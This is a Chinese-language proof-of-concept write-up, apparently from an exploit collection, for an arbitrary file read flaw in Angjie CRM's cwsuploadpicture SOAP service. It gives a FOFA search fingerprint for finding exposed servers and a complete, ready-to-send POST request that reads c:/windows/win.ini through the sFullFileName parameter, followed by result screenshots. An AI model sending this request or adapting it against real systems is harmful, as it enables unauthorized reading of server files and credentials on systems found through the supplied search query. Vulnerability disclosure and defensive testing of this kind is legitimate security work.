POC/wpoc/昂捷CRM/昂捷CRMcwsuploadpicture存在任意文件读取漏洞.md

# 昂捷CRM cwsuploadpicture存在任意文件读取漏洞

# 一、漏洞简介
昂捷CRM (Customer Relationship Management) 是深圳市昂捷信息技术股份有限公司提供的一款专注于零售行业客户关系管理的系统。旨在帮助零售企业更好地管理客户、提升客户满意度和忠诚度，从而推动业务增长，该系统集成了客户信息管理、会员营销、客户服务等多个功能模块，为零售企业提供全方位的客户关系管理解决方案。昂捷CRM cwsuploadpicture存在任意文件读取漏洞

# 二、影响版本
```plain
昂捷CRM 
```

# <font style="color:rgb(51, 51, 51);">三、资产测绘</font>
+ fofa`body="/ClientBin/slEnjoy.App.xap"`
+ 特征

![1732852842698-06314946-c4c6-4d0b-9bae-51ed78196135.png](./img/RiIKMjX_0E9dc_82/1732852842698-06314946-c4c6-4d0b-9bae-51ed78196135-997434.png)

# 四、漏洞复现
```plain
POST /enjoyRMIS_WS/WS/Common/cwsuploadpicture.asmx HTTP/1.1
Host: 
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://tempuri.org/GetPicture"
 
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetPicture xmlns="http://tempuri.org/">
      <sFullFileName>c:/windows/win.ini</sFullFileName>
    </GetPicture>
  </soap:Body>
</soap:Envelope>
```

![1734600358846-57a27a23-cf9a-4b3b-8507-945c7b3d6841.png](./img/RiIKMjX_0E9dc_82/1734600358846-57a27a23-cf9a-4b3b-8507-945c7b3d6841-315491.png)



> 更新: 2024-12-20 14:53:56  
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/kyistvq4bcnt1rdb>